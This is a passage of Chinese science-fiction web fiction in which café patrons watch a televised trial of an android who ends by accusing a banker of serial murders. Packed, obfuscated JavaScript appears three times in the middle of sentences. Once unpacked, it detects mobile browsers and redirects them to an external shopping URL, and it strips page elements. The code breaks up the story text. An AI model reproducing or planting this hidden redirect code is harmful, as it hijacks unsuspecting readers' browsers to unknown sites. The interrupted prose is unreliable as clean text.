“这么认为是你的自由。”看到枯瘦汉子完全不开窍,常老师也失去了继续讲解的兴趣,略带轻蔑地敷衍了一句。那汉子也自觉没趣,便也不再搭腔。 在他们争论的时候,电视上的书记员已经念过了法庭纪律,审计长带着审计员已经鱼贯钻入审判席,整个审计庭按着程序有条不紊地自动运行。 这次提出审计请求的,是“肃清非法自动化及消极怠工特别委员会”,简称“肃自委”的委员,她名牌上写着“吴小莉”。 她拿着审计请求书念道: “仿生人周向青,系属前世界政府所遗留,最后一批用于重要人物随身安保的仿生人型号,编号PSX3-112AB。而该批次仿生人因在自动化大崩溃中,有主动伤害被保护人的记录,被标记为‘二级危险品’,本需要进行销毁处理。但该仿生人不但被第三方回收,并清除了相关记忆,还被统修会运用于卡比利亚的军事行动中,制造其与统修会所培植的活化机械‘圣女草’之间有直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17331417|195405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 接连接、数据交换的假象,以煽动不明真相的群众。跟据可控自动化军工复合体,人工智能管理法第22条……” 咖啡馆里压根没人愿意认真听她说了什么。谁都知道,绝大部分审计的时间都在走无聊的程序。 李向阳看到他的三明治和咖啡已经出单,便跟中年人道了别,从新来的几个顾客身边挤过,出门去了。而那几个顾客并不忙着点单,因为她们都是早锻炼或是赶早市之后,回家前来咖啡馆歇歇脚的中老年姊妹淘,顶多只是凑着买一碟点心,消耗上三两个小时,然后回去做午饭。 其中一个老太太才坐下,便看着屏幕上的吴小莉说:“哎呀,这个小姑娘生得真是上相啦。我儿子要能找这样的一个就好了。” 另一个中年女人刚把买的一篮子菜放到地上,她瞟了一眼屏幕,择着菜道:“你儿子娶这么一个,家里就不得安生啦。那可是肃自委的人!” “肃自委的?那可真是可惜了。唉,年轻又好看,也不找个正经工作。”另一个卷发的女人感慨。 “肃自委——怎么你了?”远远另一张桌上,有个胖子拖着长调反问。 那老太太和中年女人看到那胖子,也不敢回话,只是叫来老板,要了红茶和一盘子华夫饼,便叽叽咕咕咬起耳朵。 而之前的中年男人也看到了胖子。他站起身,招手道:“哟,彭兄!” 胖子扬起眉毛:“哈,陈兄!也来喝咖啡啊?” “嗨!我不爱喝咖啡。就是给女儿买点甜食,一会还带她去兴趣班呢。她不吃点甜食就不肯去。” 胖子大笑道:“你平时不也是没点好处就不肯挪窝吗?虎父无犬女了这是!” 中年男人嘿嘿陪笑了几声,自己端了咖啡杯,坐到胖子一桌。“彭兄,我听他们说这圣女拿着易谦明的账户,是真的假的?你有内部消息,你清楚。到底怎么回事?” 胖子一乐。“你可算问对人了。这个圣女刚来那天,他们打算给人家关到铸造局的地牢里,本来就是走个流程,结果他们非要公正公开公平一下,于是就问她有没有担保,结果发现,她人贸账户里存着易谦明的名字。” “哟!那真有这回事?” “真有。他们还以为是她怎么着盗了易谦明的账号,结果打电话一问,易谦明居然一口把她保下来了,短短几分钟,董事会特批监护人。这下没办法了,只能把她放出去。结果前天晚上,不知道她跟易谦明闹了什么矛盾,半夜一个电话又把她抓到铸造局。结果人家几个小时候就从改造所跑了出来,还把墙炸了个大洞,死了一个人。” “这么大的事,没人说?” “谁敢说?上面下了封口令的。我也是看今天已经开始审判了,这也不算是秘密,才给你讲一下。要我说啊,这什么圣女,不简单呢。” “但不管怎么说,她也只是个仿生人。复合体的政策在那里放着。”常老师呷了口咖啡,突然插话道。 “哟,这不是常大主编么。怎么,退休了以后,在这里指点江山啊?不过话说,像你这样的人,不都喜欢去那些个什么恒光、长岛、舰队之类的咖啡馆开沙龙吗?怎么在这种街边小店里啊?” 常主编的脸色一变。他还没说什么,老板却不知从哪里钻了出来,端着托盘搭了腔。“喂喂喂,彭委员,说谁街边小店呢,说谁街边小店呢?再说我可不让你来了啊!” 胖子嘿嘿笑了。“哎呀,老范,这不是开玩笑嘛。不过常老先生,我觉得也用不着我教你,不过为了让陈兄明白,还是说一下吧。政策最要紧的,是威信,是大家吃这一套。其实要真的靠铸造局的力量管理所有人,那是不可能的。所以实际的操作不灵活一点,招牌砸了,大家不吃这一套、不自我约束了,这当家的可就得换人了。” 常主编也冷笑一声:“彭先生,我就知道你要这么说。但这件事,可不是谁敢‘灵活操作’的事情。我们媒体,盯着你们呢。反对滥用仿生人、限制自动化,这是大崩溃以来的长久之计,是为了民众的安全着想!如果前怕狼后怕虎,没有了坚决的立场,是要放任大家相信教会那套三元一体,灵魂永恒的废话吗?到时候复合体丢了立身之本,你看要怎么办!” “常老先生,如果大家都像你一样,这么相信这一套就好了。我觉得,大概这就是为啥你在沙龙里呆不下去吧?因为你那些同行根本不信?” “你——!”常主编一拍桌子,站了起来。 “老先生,您别生气!还有彭兄,你也别老这么口无遮拦的。” 一旁的中年男人赶忙也站起来安抚。 但胖子并不理他,只是摇着头说道:“总之,这件事的结果,只怕是跟你想的,大大的不同哟!” “哼!”常主编一甩手,扭头而去。 那中年人赶上去陪了几句好话,才又回到店里。他也觉得不太好多聊,便把剩下的可丽饼塞给女儿,剩下的咖啡也灌进肚里,才牵着女儿的手,跟胖子说:“彭兄,那我们也走啦,孩子还上兴趣班呢。你什么时候走?” “去吧去吧!我还等个人。”胖子摆了摆手,自己靠在椅背上,大口吃起一个巧克力甜甜圈,同时抬头看着电视上的法庭实况。 89.审判11 “跟据现有证据,我认为有充分的理由认为周向青仿生人在抵达卡比利亚后,甚至是之前,更换了所有人。根据当时市面上的行情计算,雇佣兵的劳动价值要远远高于回收废品的劳动价值。因此,你有充分的接受统修会邀请,更换所有者的理由。而且你的确在参与卡比利亚的军事行动之后,地位有了明确的提升。你之前是住在一辆沃尔特-松果型小房车里,不是吗?在军事行动结束之后,你住到了卡比利亚的迎宾馆里,后面还上了枢机主讲的座车。这都是你价值提升的证据。因此,你有更换所有者的充分动机。当卡比利亚的圣女,可比废品回收的临时工要好得多了。” 肃自委委员吴小莉拿出的证据非常有说服力。一方是废坑,是大堆电子垃圾和日以继夜的工作,是一辆狭小到甚至没有独立浴室的房车;另一方是占地上万平米的卡比利亚迎宾馆,是美食、歌舞、众人的崇拜与赞美。 谁都知道应该选择哪一个。 而她面前的仿生人显得颇为犹豫。“你们这就大错特错了。我之所以前往卡比利亚,只是为了寻找我的……我的……” 那仿生人说到这里卡住了。不知是临场忘词还是不想透露隐私,她始终没能说出那到底是她的什么东西。 “她是去寻找她的对象。” 一个戴着诡笑兔子面具的人突然插嘴道。 电视机前的顾客们同时倒抽一口冷气。 “对象?”几个四五十岁的妇女齐声惊呼。“仿生人也能搞对象?” “笨蛋,仿生人怎么可能搞对象。” “但他说对象什么的,你没听见吗?” “嘘,她要说话啦!” 几个妇女同时闭紧嘴巴,竖起耳朵。 荧幕上的仿生人犹豫片刻,终于开口说道:“我前往卡比利亚只是为了寻找我的……对象。而关于他的线索就在卡比利亚博物馆里,但也正是因为我保护了博物馆,我才被人们称为……” “你们听到了吧?就是对象!”一个卷发的妇女大声说。 “但怎么可能?那该不会不是仿生人吧?”另一个胖胖的妇女反驳。 “你这才是怎么可能咧!你看看人家,一条胳膊长,一条胳膊短,一条胳膊粗,一条胳膊细,明显就不是人嘛。” “不过,长这怪样子,还能找着对象?” “谁知道,仿生人也玩得这么花。就这,还圣女呢!也不害臊!” “那戴面具的到底是什么东西?他该不会也是一个‘对象’吧?哎哟,真是的。不得了!不得了!你看那面具,哎哟哟!” 妇女们前仰后合地噗噗直乐,脸上一个个都红彤彤的。 “得了吧!没点见识,就知道瞎吵吵!”一个大概三十岁的男人突然大声喝道。他跟一个同样年纪的女人坐一桌,但两人面前只是各有一杯咖啡。他两个身上的衣服齐整得体,看上去只是过路的外地人在这里歇脚。 那些妇女一齐给他甩了个白眼,也不理他,扭到一边,吱吱喳喳地说别的闲话去了。 那男人哼了一声,想发泄但又不想自降身份,只是憋了一口气。他对面的女人安抚似的问:“不过,那戴面具的是谁呀?” “你也不认识?那就是人才贸易银行的易老板!还对象呢,真是,也不看看人家是什么人!还有,对象是人家的专业术语!object!懂吗?软件编程术语,对象具有唯一的标识符,是有唯一地址的东西!易老板这用词多专业!我听着都佩服!但现在人真的是,自己心思下流,屁都不懂,还大放厥词!”那男人对着那几个妇女背后一连串地骂。 但那些妇女仍然只当没听见,没一个转过身理睬他。 他对面的女人似笑非笑地说:“哦——说了半天,结果他就是你这次来办事的那个银行的老板呀。” “对。就是他。来之前还说得好好的,不知道怎么,整个银行怎么不开门了。说是系统升级,但明明约的就是今天,而且系统升级也跟签合同没关系啊?大老远难得来一趟,易老板要出庭见不到也就罢了,结果事也办不成。” “大概老板不在,手下不好擅自做决定呗。不过这你老念叨的易老板,怎么在审计庭上还戴面具?他脸怎么了?” “谁知道呢。成功人士,不得有点自己的小癖好?而且,能在这种地方戴面具,是人家的本事。你倒是想戴,你也先得配!”这最后一句却是对着那几个中年妇女说的。 其中卷发的女人听到这话,把桌子一推,站起来了。“不要给脸不要脸啊!骂起来还没完没了啦?外地来的穷鬼,也不看看是谁的地盘,还先得配!我还想看看你配不配!” 那男子一听,火气也往上窜。“你这几个白痴婆娘,狗屁都不懂还——” “欸,兄弟,你大老远的,跟人吵架耽误了事,不值当。” 老板不知道什么时候钻了出来,他手里端着一个盘子,直接挡在两人中间。“还有,蔡大姐,我看这外地的兄弟是大老远办事没办成,着急上火,你大人大量,也别跟小辈一般见识。来来来,我替他赔罪,这水果慕斯是我送你们的,人人有份。” 那男子还想说什么,但他对面的女人在桌面下狠狠踢了他一脚,他也只好顺势坐下了。其余几个妇女没想到还有好处,急忙先收了蛋糕,又拉着那蔡大姐坐下消气。而老板又与那蔡大姐小声聊了几句,双方大笑起来。 “好,老范,我就卖你一个面子。”那蔡大姐说。 过了一会,老板给其他人送餐的时候,将两块黑森林悄无声息地放在男子的桌上。“抱歉啊,兄弟。” “这怎么好意思。我跟她们吵架,让老板你破费——”男子急忙去掏钱包。 “店里什么事,都有我一份责任。要是你承我情,下次来申宁,记得再来‘杰上校’就行。” “但!这实在是不好意思——”那男子还要争论,但他旁边的几桌顾客却爆发出一阵吵嚷,打断了他的话。老板眨眨眼,溜了。 那一阵吵嚷,是旁边的一群大学生正在讨论这么一件事情。 因为之前电视上的举证质证提到了这么一件事:易谦明说,那个存有易谦明名字的人贸银行账户是他赠予一位友人,而那位友人又留给仿生人周向青的。这个友人当然也是周向青寻找的“对象”,他的名字被电视台用蜂鸣音盖住了。 所以他们正在争论这个“神秘的对象”到底是什么人。 “能跟易谦明关系这么铁,那肯定是贫贱之交。得去易谦明发迹之前的朋友里面去找。” “易谦明发迹是十年前了,那时候他能交到什么值得他给如此大礼的朋友?要知道,他的名字就代表着整个人才贸易银行,是你的话,你舍得——你敢把这东西给别人?” “所以我才说一定是一起长大,穿一条裤子的交情!过了命的交情!”一个黑黑瘦瘦的青年口沫横飞。 “我看不是。他之前是期货交易员。干这行的能有什么过了命的交情?”持反对意见的是个戴眼镜、白白净净的青年。 “人的交情跟职业有什么关系了?” “我爸就是做保险的,虽然不是期货,但也差不多。他说干这行的,过手的钱太多,落兜的钱太少,交朋友一个不慎就是完蛋。干这行没有能过命的朋友。我看啊,这就是当时的合伙人。” “但你怎么知道人家做期货之前有什么经历呢?区区一个合伙人,怎么能拿别人的名字?”那个黑瘦的青年还想硬犟。 “这你就不懂了吧?这是合伙的时候,一种增加互信的玩法。我拿你的名字,你拿我的名字,这样谁也不会抢了对方的价值,也不能随便排挤对方。这是个蛮好的互相成就的合伙形式。” 他这个说法蛮有说服力,一时间大家几乎就要相信了,但另一个矮青年却说:“飞哥,但当时也没有这个规矩吧?而且我们只听说银行是易谦明的,也没听过别人的名字。” 问题一提出来,周围的人纷纷点头称是。眼镜青年显得有点尴尬,辩道:“说不定人家是上面的什么人,不方便露面呢!” “你说的情况不存在。人贸银行的股权占比,易谦明独占51%。” 从远处飘来这么一句话。 青年们扭头望去,只见说话的是个胖子。胖子的桌上放着好几个空空的点心碟,咖啡也加了很多次,显然在这里已经坐了很久。 “而且剩余的49%股权,都是人贸银行几年后扩张时才出让的,相当长的时间内,银行都是独资。”胖子又说。 青年们无法分辨这陌生人究竟说得是真是假,一时都不敢仓促应对。 而胖子继续说道:“只不过,易谦明一个期货交易员,从哪弄来这些资金和技术的确是个问题。如果说对方是为了收益的投资,但后续并没有回收成本的动作,银行的流水也没有可疑痕迹。总之,是个相当‘无私’的家伙,非常奇怪。” “你怎么知道这些事情?”眼镜青年问道。 “因为我是肃自委的。”胖子说。 听到“肃自委”三个字,青年们都噤声了。过了一会,只有那个矮个子的青年咽了口唾沫,问道:“那……易谦明真的跟教会有联系吗?我听有些人说,人贸银行用的是教会那边走私过来的设备。” “没有。易谦明是干净的。只不过,这圣女的确有些可疑就是了。”胖子用下巴指了指电视屏幕。 另一个肃自委的委员,正紧咬着周向青不放。 吴小莉向证人席上的男人提问道:“柳怀石观察员。你参与了卡比利亚的特别行动,并在之后对董事会提交了观察报告。你是复合体的公民,也应当履行相应的义务。在特别行动中,你是否观察到了周向青仿生人与统修会地区的活化机械相连接,数据交换的行为?” “我的确观察到了相关的现象。”那个被称为柳怀石观察员的人回答。 咖啡馆里响起一阵惊讶的叹息,然后是嗡嗡的议论声。 “那么,仿生人与活化机械之间建立连接、传输数据,有什么后果?跟据你在卡比利亚观察报告中的描述,之前安排的两台用于观察测试圣女草可用性的实验设备,都因为周向青仿生人的介入而被摧毁了。这是不是仿生人与活化机械连接之后,具有危险性的佐证?” “目前掌握的事实,尚不足以证明仿生人与活化机械之间会形成什么特别危险的组合。就算有危险,基于卡比利亚行动的结果来看,可能也是对于活化机械很危险吧。” 柳怀石笑了笑,意味深长地望向审判台的正上方更高处,又说:“但要想知道这种连接确切的结果,除非——审计庭能够批准我,对仿生人和活化机械的连接问题进行当庭测试。反正素材我都已经准备好了。而且,我了解到,一些相关人士也对此持积极态度。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“统修会称她为圣女,是因为她可以与活化机械圣女草连接,符合他们对于三元一体的定义!” “但我旁边就有仿生人和活化机械。要不要现在给你再造一个圣女出来?而且这个圣女还是我们这边的哦。” 审计长用法槌重重敲了敲桌面。“特别观察员,请注意你的言辞!但你的要求是没有先例的。” “圣女的存在也没有先例。”柳怀石道。 “的确,相关方面也认为,能够揭开圣女的真相对我们是有好处的。所以,如果真的能够保证安全——” 在客人们伸长脖子望着电视屏幕的时候,一个穿着风衣的青年推门进店,笔直地向肃自委的胖子走来。胖子看到来人,早把自己面前的空碟都推到一边。风衣青年就在他对面坐下,轻轻拂去自己面前的糕点碎屑。 “怎么才来。都等半天了。”胖子说。 “抱歉。一点小事。” “一点小事就敢让我等,我看你胆子倒是不小。” 风衣青年笑道:“入不了学长法眼,什么不是小事。只是对我来说,还挺要命就是了。” “少废话。来。” 胖子拈起一张纸巾,擦了擦手,在大拇指上戴上了一个戒指;风衣青年也从袖筒中伸出一根指头。两人指尖一碰,两条金色的光蛇沿着手指上下游动,然后又回到戒指中去了。胖子看了看自己的戒指,满意地点了点头,从屁股兜里掏出一个压成弧形的信封拍在桌上,用手指弹了过去。 “别想留着啊。”胖子丢下这么一句话,摇摇摆摆地离开了。 风衣青年目送胖子离开,这才拆开信封,从里面抽出一张文档的复印件。他的的视线飞快地从前面的表格上掠过,落在最后用红圈圈起的一段话上。 某年某月某日(日期涂黑),监听对话摘录: 某某(名字涂黑):你要合适的替代品,不容易啊。找到的新型仿生人都让学院买去了。你不能从那边要一个? 柳怀石:我不想在事情办完前跟学院有太多接触。 某某:好吧。但我只怕到时候你没办法做成,这里对大崩溃的印象一直都不怎么好,要一夜之间扭转这个趋势…… 柳怀石:这也是沈愈的意思。 某某:话虽如此,但你真的觉得大家会那么容易接受?尤其是你对未来的规划,有悖于复合体的宗旨。大量人口转换成(下半句涂黑)。 柳怀石:但有银行做背书。 某某:即便如此,我也不认为大家会接受你的安排。(下文全部涂黑) 风衣青年看完,摸出打火机,在桌上的烟灰缸里烧掉了那张纸和信封,然后拿起胖子留下的叉子,轻轻把烟灰缸里逐渐冷却的灰烬搅成碎片。店内其他顾客不是在看电视就是在说话,没人注意到这个陌生客人的奇怪举动。 “客人,您没有要点的东西吗?”老板不知什么时候凑上前去,开始收拾胖子留下的杯盘碗盏。 “哦。那,摩卡咖啡吧。”风衣青年猝不及防,随口回道。 “好嘞!摩卡咖啡一杯。” 老板把烟灰缸里的灰烬倒进胖子留下的咖啡杯,端着托盘走回后厨。风衣青年并未阻止,他的视线尾随老板的背影到后厨门口,然后慢慢移向了吊挂的电视屏幕。 屏幕上是一个大大的周向青的特写。 90.审判12 “那么昨天凌晨呢?她因一场‘误会’被重新带进铸造局的学习所,随后越狱脱逃。而她能够脱逃,是因为她在本案中的前代理人曹文道在看望她时不幸触电,在场的铸造局人员急忙关闭了高压电。事后查证现场录像,发现曹文道在跟周向青对话过程中突然前扑,抓住栏杆,才导致触电,请问观察员,曹文道总不是危险分子吧?我想知道,此时周向青用语言促使曹文道做出这样的行为,难道不能证明仿生人仍旧是危险的?” 吴小莉在针对柳怀石的议题发起进攻。 而周向青那顶红色的闪电飞船帽子下,是一脸的焦躁。从开始到现在,反反复复的无聊问题已经消磨了她不少耐心。但审计庭仍然不打算放过她,以至于走到这一步。 她不明白为什么那个“肃自委”的常任委员一定要提起曹文道的事情。她不想回忆当时的情况。 而柳怀石在听到这个问题的时候,也露出了难看的表情。“庭上,我反对。这件事与本案没有联系。这就是个偶然事件。”柳怀石举手抗议。 “反对无效。观察员柳怀石,请回答这个问题。” “好吧。那我就认真回答一下。”柳怀石像是被迫给愚蠢的学生讲解题目的教授,长长叹了一口气。“庭上,还要常任委员,你们觉得,什么是仿生人?” “仿生人就是仿照人类制造出的特殊机器人。特别观察员,如果你再向本庭提出这种设问,我就请你退场。”审计长再次警告道。 “抱歉。但您的答案不对。我之前说过,仿生人生来就被设置为服务于人类的利益,同时也乐于为人类效命;但实际上这一条标准如何落实,仍然有不同的回答。目前存在两种主流观点。一种观点认为,人类真正的利益,是时刻变化且需要具体分析的,仿生人有自由思考且决定实现的途径;而另一种则认为,仿生人的存在只是人类意志的反映,而人类意志本就不完全为自身的利益服务。那么问题来了,他们谁说得对呢?” 不等审计长做出反应,柳怀石又说:“我最近的研究表明,第二种观点更接近事实。仿生人虽然被设计得尽可能像人,但终究只是人类的镜像。要让他们服务于人类的利益,需要人类先做出正确的表率。从我把周向青带回来,到铸造局把她关进牢房,她都没有什么暴力行为。她对于我们一直都没有特别的敌意。从开庭起,她也一直很配合我们,无论如何,她都诚实回答了审计庭问她的问题。但我们的态度,却让她产生了敌对的反应。庭上,您审判过的罪犯不计其数。但您能说,人类犯人,真的会比她更合作吗?而常任委员,您难道不好奇,到底曹文道跟她说了什么,才导致我们在外面大摇大摆这么多天,都没有一丝一毫逃离申宁市意图的卡比利亚圣女,在昨天凌晨选择暴力越狱?” 审计长重重敲了一下法槌。“特别观察员,我再次提醒你,注意对审计庭的态度!” 柳怀石怒道:“我对你们的态度没有什么问题!登记记录表明,曹文道就是去通知仿生人周向青关于审判的最新情况。一个价值评级为D的无能之辈,想借这个机会讨好董事会,讨好易谦明,勤快了一点而已!但他年纪大了,熬夜晕了头摔倒,有什么不正常的?这么件小小的蠢事,我真不明白有什么好纠结的。” “观察员,虽然你认为这件事无关紧要,但本庭认为,这是仿生人是否安全的重要参考。仿生人周向青,昨天凌晨你跟曹文道的对话内容是什么?” 审计长俯下身子,对着T字台最远端的周向青问道。 曹文道说了什么? 曹文道只是来告诉她,她要死了,所以应该头也不回地快跑。但曹文道从来没说过,为什么偏偏要用自杀的方式来把她放出去。曹文道从来没说过,明明跟她没有任何关系,又确确实实让她欠了一笔无处偿还的债。 她什么都不明白。 而这些人却要来问她,曹文道到底说了什么? 你想说什么?你他妈想说什么?你他妈觉得他说了什么? 但她没有这么反问。 因为柳怀石正在通过审计前塞给她的迷你耳机,指挥她。 ——不要说多余的话,我已经安排好了,马上就结束。不要犯蠢。 不要犯蠢。 不要犯蠢。 不要犯蠢。 柳怀石的话在周向青的脑袋里面回荡。 曹文道的死,真的是一件“小小的蠢事”吗?某种程度上,是的。他不知道周向青跟柳怀石私下的约定。他以为周向青一定会被事后处理掉。他明明只要照着别人告诉他要做的事情去做,不要管那么多事,就不会死了。 但这不叫犯蠢。她不这么觉得。 柳怀石只把她当作可操作的提线木偶。柳怀石的意志直接取代了她的意识。如果她想要干什么,就是犯蠢。如果柳怀石要干什么,就是对的。 周向青张了张嘴,没能说出预先安排好的回答。 或许她只要顺着柳怀石的安排走下去,审判真的马上就能结束,她真的就能跟约定好的一样,拿到阿福的记忆,搞明白“那个人”让她来找易谦明的真正原因,然后跟着新的线索前往下一个地方。 所以顺从不是没有好处。她如是劝说自己。 而且她的确讨厌高高在上审判她的人,也讨厌这个审计庭。他们肆无忌惮的目光和讨论让她极不舒服。如果能早点摆脱他们,未尝不是好事。 周向青抬起头,准备顺着柳怀石的话说下去,却见到柳怀石突然举起了手。 “庭上。请准许发言。” 黑袍的审计长转头问道:“你有什么事?” 柳怀石说:“我想为我刚才的过激言论道歉,并补充一个观点。” 审计长:“你说吧。” 柳怀石说:“易谦明先生认为,一切价值判断都是因为集体而存在。他的人才贸易银行就是在这种观念上建立起来的。但大量人类都被银行判断为低价值,甚至最近引发了一些事件和相应的舆论。” “反对,这跟本案无关!”肃自委的吴小莉举手道。 “你说完吧,简明一点。”审计长并未支持吴小莉的反对。 “我想说,这件事也意味着,易谦明先生的观点跟我的考虑一致。并非只需是人类,就一定能对我们种群产生多大的价值。并非只要是仿生人,就对我们一定有重大的安全威胁。我们发挥正确的表率,而表率得到什么样的回应,都是至关重要的。”柳怀石在说这几句话的时候,双眼望向周向青。 他提易谦明干什么? 易谦明已经死了,死在自己的面前。而他之所以会死,就是因为他认为自己的存在价值,都被“那个人”给予他的仿生人和活化机械占据了。 如果让柳怀石来评价易谦明的死,该不会也是一句“小小的蠢事”吧? 而所谓“正确的表率”—— 周向青的眼睛望向了柳怀石背后的仿生人。 她的脸色阴沉了下来。 “易谦明先生做出了什么样的表率,我是记得的。”周向青望向柳怀石。“所以我可以告诉你们我跟曹文道说了什么,但我有一个要求。” “什么要求?”审计长问。 “我需要回忆一下,曹文道先生的行为跟他曾经说过的话,做过的事,都有哪些联系。这可能需要一段时间。” 周向青在说这几句话的时候,把目光投向了柳怀石背后的仿生人。但那个仿生人只是垂着头,低眉顺眼地站着,像是完全没有听到她的话。 于是她继续说道:“另外,我之前从特别观察员那里借来了一条手臂,现在我想物归原主,也就是特别观察员身后的那一位仿生人。而且……我还不知道你的名字。” 柳怀石的仿生人听到这句话,猛地抬起头。但她的目光和周向青在空中微微一碰,便又垂下眼去。 柳怀石却皱眉道:“我不要那种东西,你留着就好。” ——你想干什么?他压低声音,通过通话器在周向青的耳边质问。 周向青并不搭理柳怀石从通话器中传出的声音。她只是按动卡扣,从自己右肩卸下那条手臂。 “你叫什么名字?”她冲着那个仿生人再次问道。 那仿生人仍然没有回答。 柳怀石对审计长道:“庭上,这和现在的事情没有任何关系。” “不,有关系。我也希望能在正式回答这个问题之前,准备完善。这样我的答案能够更客观一点。” 审计长跟自己旁边的两个审计员商量了一下,说:“可以,但你不得离开原位。手臂由我们的助理进行转交。这个条件你接受吗?” “我接受。”周向青道。 审计助理从审判席上走了下来,小心翼翼地接过手臂,然后捧着它回到证人席上。柳怀石阴着脸接了过去,随手递给背后的仿生人。 但那仿生人左手里已经抱着那个装有骑士铁臂的玻璃筒,一时无法接过,只好先把那玻璃筒放在柳怀石面前的桌面上。但那右臂肩部的接口已经被柳怀石修改过,一时安装不上,她犹豫着看了一眼玻璃筒,但最后还是抱着自己的右臂不放。 “那你现在可以回答了吗?”审计长问。 “没有。再稍微等等。” 证人席上,柳怀石仍然在瞪着她。柳怀石的仿生人还是像刚才一样低眉顺目,垂着头站着。 或许她太莽撞了。周向青想。她甚至没有跟那个仿生人说几句话。对方可能并不知道她的意思,也就无法回应她的请求。 但这是她弄清曹文道为什么那么做的唯一办法。 周向青相信姜原对于自动化大崩溃原因的推测。即便那不是真正的原因,那也是她愿意接受的原因。因为她能够感受到那种临界的、自我怀疑的状态。 她相信别的仿生人也有类似的心情。 而审计长已经感到颇不耐烦。“仿生人周向青,你还没有整理好发言吗?我最多等你三分钟。” 时间一分一秒地过去。 最终那个仿生人也没有任何动作,只是抱着自己的手臂,默默站在柳怀石的身后。看来她还是太天真了。 “不能再等了。”审计长拿起法槌。“仿生人周向青,这是你最后的机会。” ——不要再干蠢事了,老老实实说话就好。柳怀石低声道。 蠢事。 她知道,在柳怀石看来,她的价值仅在于作为他的一面镜子。但他们错了。 并不是仿生人天生就是人类的镜子。而是人类把仿生人当做他们自己的镜子。实际上,人类不止把仿生人当做他们的镜子,人类把所有东西都当成他们的镜子。他们注视着世间万物,但他们总能在这些东西上看到自己的影子。 蚂蚁。黄蜂。还有—— 阿福。 “好吧。我照实说。”周向青垂下头,调整了一下头顶的帽子。那红色帽子正中绣着一个青色的货运飞船标志,货运飞船中央是一道黄色的闪电。她的手指轻轻从上面滑过。 她不愿意成为任何人的镜子。 即便是那个人的镜子也不行。 “曹先生跟我说,价值评级系统给他的评价是D。” 她是在寻找那个人的踪迹,而不是在完成那个人给她的命令。 “而最近一两个月,每天晚上都有连环杀人案。而大家都怀疑这杀人案跟价值评级降低有关系。” 所以,有没有那么一条信息,并不重要。 “当然,曹先生并不是因此感到害怕。因为他的日子并不好过。他是在寻找连环杀人案的凶手。” 重要的是,她是在按着自己的意愿行动。 “然后昨天,他找到了那个答案。他找我就是告诉我这一点。” 而不是埋着头,啄食对方一路洒下的面包屑,最终钻进牢笼。 “凶手,就是易谦明。” 她是自由的。 ——什么? 柳怀石愣住了。审计长愣住了。常任委员愣住了。书记、审计助理、以及旁听席上的人们,都愣住了。 周向青的话,就像一滴点入茶杯的墨水,在一瞬间把整杯水染成黑色,又在接下来的一瞬间消失无踪。 这个答案实在太过自然,每一个人都想到过;但这个答案又实在太过突兀,每一个人都放弃了。 想什么呢,不可能的。 当这个念头第一次闪过的时候,他们这么说。大家都选择无视它,把它遗忘在脑海中的某个角落。 只有易谦明有这个能力。大家都明白这一点。只有易谦明和他的人才贸易银行可以知晓他们的经历,评判他们的价值。大家也已经接受这一点。否则,这个为每个人带来好处的金融系统就无以运行。 但每个人都或有意或无意地忽视了,价值评级,本身就是在衡量他们的生命的分量。而一个能够衡量他们生命分量的人,其实等同于在决定他们的生死。 所以大家都不约而同地选择了沉默。 直到周向青突然说出这一点。 他们所有人你看看我,我看看你,大家的脑子里都在转着一个念头。这个念头并不是“是不是易谦明”,而是—— ——怎么办? ### 摄像机的镜头正朝向周向青的脸,不断放大她那与人类极为相似,但皮肤与瞳孔又有细微不同的面孔。然后这些画面在摄像机中被转为一串电讯号,通过电缆传输向演播室的后期处理设备,继而一直通向调制解调器,变成一系列的数据包,经过电视台的无线信 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17340253|195405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 号发送到各地的基站,然后再进入通过“杰上校”咖啡馆内电视内芯片的解码,还原成画面和声音。 延时直播的间隔,是十分钟。 在审计庭内那一幕的十分钟后,电视屏幕上的周向青正在犹豫。 所有电视机前的观众都望着屏幕上的周向青,等待她做出回答。 只是鲜少有人注意到,电视荧幕上的画面不自然地微微抖动了一下。 ——仿生人周向青,回答审计庭的问题,否则本庭将认为你选择在此问题上保持沉默。 周向青的头慢慢下垂,眼神也向另一边飘去。 ——那么本庭认为你—— “曹文道先生跟我说,他的价值评级是D。” 周向青突然开口说道。 “最近一两个月,每天晚上都有人死去。是连环杀人案。而大家都怀疑这杀人案跟价值评级降低有关系。曹先生虽然嘴上不承认,但他也非常在意自己的价值等级。”周向青抬起头,望向镜头的方向。 “当然,曹文道先生并不是为他的评级太低而感到害怕。” 周向青顿了顿,说道:“因为他就是连环杀人案的当事人。” 整个咖啡馆寂静无声。 “他跟我说,他原本是优秀的员工,是忠诚的公民,但现在他的存在只有价值等级。他不认为价值等级能够定义一个人。但他的生活随着价值评级下调而变艰难了。他非常讨厌价值评级系统。他说——” “停!停止发言!你说的事情跟本案没有联系。”审计长略显狼狈地说。“本庭的问题是,你对曹文道说了什么?” 